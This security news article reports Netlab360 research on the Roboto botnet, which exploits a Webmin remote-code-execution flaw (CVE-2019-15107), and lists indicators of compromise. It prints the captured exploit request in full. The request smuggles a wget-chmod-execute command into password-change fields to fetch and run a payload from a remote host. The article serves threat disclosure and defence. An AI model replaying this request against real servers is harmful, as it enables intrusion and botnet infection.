Roboto Botnet Exploiting Linux Webmin Server RCE Vulnerability To Perform DDoS Attack

A new wave of Roboto Botnet activities being discovered that attack the Linux Webmin servers by exploiting the RCE vulnerability using vulnerability scanning and P2P control module.

Roboto Botnet initially detected via 360Netlab Unknown Threat Detection System as an ELF( Executable Linkable Format) file in august, later, honeypot detects another suspicious ELF sample which acts as a downloader to drop the above bot.

Researcher’s continuous effort for the past 3 months helps to observe the Botnet Roboto activities, targets, and exploitation methods.

Attackers behind the Roboto botnet employes various algorithm such as Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 to maintain the integrity, protecting its component and gaining the persistence control on Linux Webmin servers.

Researchers said that “the botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to capture a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.”

Roboto Botnet Propagation & Attack Scenario

Researchers observed the Roboto propagation via 51.38.200.230 ( Webmin service Honeypot), and the downloader sample spreading via Webmin RCE vulnerability (CVE-2019-15107).

A Download URL( http://190.114.240.194/boot ) helps to drop the following payload.

POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%

Roboto Downloader’s main purpose is to download the encrypted Roboto Bot program from a specific URL. Later the malicious program will decrypt and execute it.

Attackers using the XOR encryption algorithm to get the bot file, and also it creates a self-starting script based on the release version of the Linux system.

Roboto botnet can perform a variety of sophisticated functionalities including reverse shell, self-uninstall, gather process’ network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack and more.

In order to perform a DDoS attack, Roboto provides four attack methods,

• CMP Flood
• HTTP Flood
• TCP Flood
• UDP Flood

According to netlab 360 research, Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. 

Netlab360 warned Webmin users to take a look at whether they are infected by checking the process, file name, and UDP network connection, and block the Roboto Botnet related IP, URL and domain names.

Indicators of Compromise (Netlab360)

Sample MD5

4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7

Encrypted Roboto Bot MD5

image.jpg         de14c4345354720effd0710c099068e7
image2.jpg        69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc        f47593cceec08751edbc0e9c56cad6ee
roboto.ttf        3020c2a8351c35530ab698e298a5735c

URL

http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg

Hard-coded Peer IP

95.216.17.209        Finland              ASN 24940            Hetzner Online GmbH
213.159.27.5         Italy                ASN 201474           Aircom Service srl
186.46.45.252        Ecuador              ASN 28006            CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45        Australia            ASN 1221             Telstra Corporation Ltd
66.113.179.13        United States        ASN 14280            NetNation Communications Inc